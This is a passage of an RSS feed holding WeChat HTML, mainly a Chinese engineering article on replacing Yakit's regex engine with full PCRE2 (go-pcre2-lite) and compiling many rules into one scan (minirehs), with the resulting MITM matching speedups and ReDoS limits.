255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">YAK官方资源 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p style="outline: 0px;"><span leaf="">Yak 语言官方教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit 视频教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Github下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit官网下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit安装文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;"><span leaf=""><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit使用文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">常见问题速查：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/FAQ" target="_blank">https://yaklang.com/products/FAQ</a></span></em></span></p></div></div></div></div></div><div style="outline: 0px;"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;"><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6015104398045313" data-s="300,640" data-type="png" data-w="2251" data-imgfileid="100037040" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="1080" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8880aedc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247529998%26idx%3D1%26sn%3De70920ec004ca15c3eb6b64e28fd070a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 17 Jul 2026 17:35:00 +0800</pubDate>
    </item>
    <item>
      <title>百倍正则加速：让 Yak 中的正则支持统一编译与完整 PCRE2</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529987&amp;idx=1&amp;sn=da4ed019de1b08cc07b5ad961bdc2295</link>
      <description>重构正则底层，解锁 Yakit MITM 匹配性能新上限</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-07-10 17:26</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1241428a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72HZU0O0jicyV1UuUeAAh9Mibyj8RMJVtiaibZicuANIA7qJpNKX5dkUFrbW6reynfLN1wEqCsOqlbJnQBHG9ibEYGPQicHpMo6fOFaaR4%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>重构正则底层，解锁 Yakit MITM 匹配性能新上限</p>
  <p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.462037037037037" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100040727" src="https://wechat2rss.xlab.app/img-proxy/?k=337222ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZd0VthLJpzgmAAibgKmOtuudBzo08KsWzzBtEzpIf5l8zyaU3uqV4GA4USxXeyfnPuQa0ibK1Kr9fibQ%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></p><blockquote><p style="margin-bottom: 8px;"><span leaf="">两项自研工作重做 Yaklang / Yakit 的正则路径：</span><strong><code><span leaf="">go-pcre2-lite</span></code></strong><span leaf=""> 将单条正则引擎替换为完整 PCRE2，minirehs</span><strong><span leaf=""> / </span></strong><strong><code><span leaf="">rehs</span></code></strong><span leaf=""> 让成百上千条正则支持&#34;统一编译、一次扫描&#34;。</span></p><p style="margin-bottom: 8px;"><span leaf="">前者降低单条匹配的成本并扩展可编译范围，后者将多正则的复杂度由乘性转为加性——两者在 Yakit MITM 内置规则场景中叠加生效。</span></p><p style="margin-bottom: 8px;"><span leaf="">除特别标注外，性能数字为本机（darwin/arm64, Apple Silicon）第一手实测；图 3 左半为 </span><code><span leaf="">go-pcre2-lite</span></code><span leaf=""> 仓库自带基准。</span></p></blockquote><p style="text-align: center;padding: 0.5em;margin-bottom: 0px;" nodeleaf="" data-mpa-action-id="mreei7ikpbg" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3975493533015657" data-s="300,640" data-type="png" data-w="2938" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046324" src="https://wechat2rss.xlab.app/img-proxy/?k=294e79fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72Gh5wR3YmbqC379Cbz42uUWqjHQmr70gSUmaO9nRqsAuibIVT11KgRVoFJSVCEEaR91AvFDJHZpLFZXF9MkbkkbXG0o0odDAV68%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-top: 0px;"><span leaf="" mpa-font-style="mreewtsw1qv5" style="font-size: 14px;" data-mpa-action-id="mreewttdveb" data-pm-slice="0 0 []"><span textstyle="" style="color: rgb(255, 185, 149);font-weight: bold;">图三</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">摘要</span></strong></p></div></div></div><h2 style="margin: 8px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">Yakit MITM 会在每一条经过的报文上执行一批内置规则（指纹识别、组件染色、敏感信息提取）。旧路径存在两个长期问题：</span></span></h2><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;text-indent: 0px;text-align: left;"><span leaf="" mpa-font-style="mrec8nkz1hrr" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">其一是</span></span><span mpa-font-style="mrec8nkz5gj" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">正则语法能力不足</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">——标准库 RE2 不支持 lookaround/backreference，大量从 JS/PHP/.NET 移植的正则直接编译失败，而兜底引擎默认永不超时，单条异常正则即可导致代理无响应；其二是</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">成本随规则数线性增长</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">——数十至上百条正则对每条报文逐条全量匹配，成本为&#34;规则数 × 报文字节&#34;的乘积。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrec8nkz99b" style="font-size: 15px;" data-mpa-action-id="mreeinr2nsg" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">本次改造从两层同时入手：单条正则层采用 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" mpa-font-style="mree0xys1cpk" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mree0xzbd8w" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">go-</span></span><span leaf="" mpa-font-style="mree0xys1cpk" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mree0xzbd8w" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">pcre2</span></span><span leaf="" mpa-font-style="mree0xys1cpk" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mree0xzbd8w" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">-lite</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（完整 PCRE2、JIT 关闭、</span></span><code><span leaf="" mpa-font-style="mree14n9zrs" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mree14no1ozl" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">dlclark/regexp2</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 的 drop-in 替代，布尔匹配零分配、ReDoS 默认有界、语法更全）；多正则层采用 </span></span><code><span style="letter-spacing: 1px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mreeinqmjp2"><span leaf="">minirehs</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">将所有规则统一编译为单一引擎，每条报文仅扫描一次。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrec8nkzgxi" style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在真实 MITM 规则集（87 条）+ 真实流量（~5MB / 1332 报文）上，存在性打标由现状 </span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">0.19 MB/s</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">提升至 </span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">6.10 MB/s（约 32×）</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">；</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">在字面量友好的合成集上，加速比随规则数从 50 条的 </span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">11.6×</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 增长至 1000 条的 </span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">83.6×</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrec8nkzinh" style="font-size: 15px;"><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">改造前后速览</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（数据来源见后文对应章节）：</span></span></span></p><div><div><div><p><table style="border: none;border-collapse: collapse;min-width: 75px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">维度</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">改造前</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">改造后</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">正则语法</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">仅 RE2，lookaround/backref 编译失败</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">RE2 + 完整 PCRE2（原子组、递归、</span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">\K</span></code><span leaf="">、子程序、Unicode 属性）</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">ReDoS 安全</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">默认永不超时，可持续回溯挂起</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">match/depth 限额有界，超限返回 </span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">ErrMatchLimit</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">布尔匹配分配</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">每次匹配复制整段为 </span><code><span leaf="" mpa-font-style="mreib5qkg9d" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mreib5r4e7e" data-pm-slice="0 0 []">[]rune</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">热路径 </span><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">0 B / 0 allocs</span></span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">单条匹配速度</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">基线（</span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">dlclark/regexp2</span></code><span leaf="">）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">1.8×–9.6×</span></span></strong><span leaf="">（vs dlclark，库自带基准）</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">多正则复杂度</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">O(N_rules × N_bytes)</span></code><span leaf=""> 逐条</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">~O(N_bytes)</span></code><span leaf=""> 一次扫描</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">MITM 真实吞吐（87 规则 / ~5MB）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">0.19 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">6.10 MB/s（32×）</span></span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">规则数放大（合成集，N=1000）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2.78 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">232 MB/s（83.6×）</span></span></strong></p></td></tr></tbody></table></p></div></div></div><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">一、背景与问题：Yakit 旧时代的正则困境</span></strong></p></div></div></div><h2 style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">Yakit MITM 长期存在的正则相关问题可归纳为四类：</span></span></h2><ul style="list-style-type: disc;" class="list-paddingleft-1"><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mreca70v23p4" style="font-size: 15px;"><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">语法能力受限</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">MITM 默认使用标准库 RE2。RE2 为保证线性时间复杂度，不支持 lookaround、backreference 等构造。从 JS/PHP/.NET 项目移植的正则常因此编译失败，只能改写或弃用。</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mreca70v1t52" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">回溯不可控</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">RE2 无法表达的规则回退到 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">dlclark/regexp2</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">，该引擎默认 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">MatchTimeout = 永不超时</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">；对抗性正则遇到构造性输入时会持续回溯直至挂起，表现为 CPU 占满、代理无响应。</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mreca70vds2" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">匹配成本随规则数线性增长</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">MITM 内置数十条规则，实现为&#34;对每条报文将每条正则各匹配一次&#34;。报文体积与规则数增大时吞吐显著下降，这是&#34;多正则一次匹配随规模劣化&#34;的根因。</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mreca70vn" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">内存</span></span></strong><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">开销偏高</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">dlclark</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 在匹配热路径上每次都将整段输入复制为 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">[]rune</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">，长时间运行时 GC 压力较大。</span></span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mreca70vmd8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">上述问题在真实规则集上并非均匀分布，而是集中于少数规则。以 rule4yak 87 条内置规则为例，其中含 lookahead 的 URL 识别类规则在 RE2 下直接编译失败，旧路径只能整体回退到 </span></span><span mpa-font-style="mreca70v1pb3" style="font-size: 15px;"><code style="font-size: 15px;font-family: mp-quote, 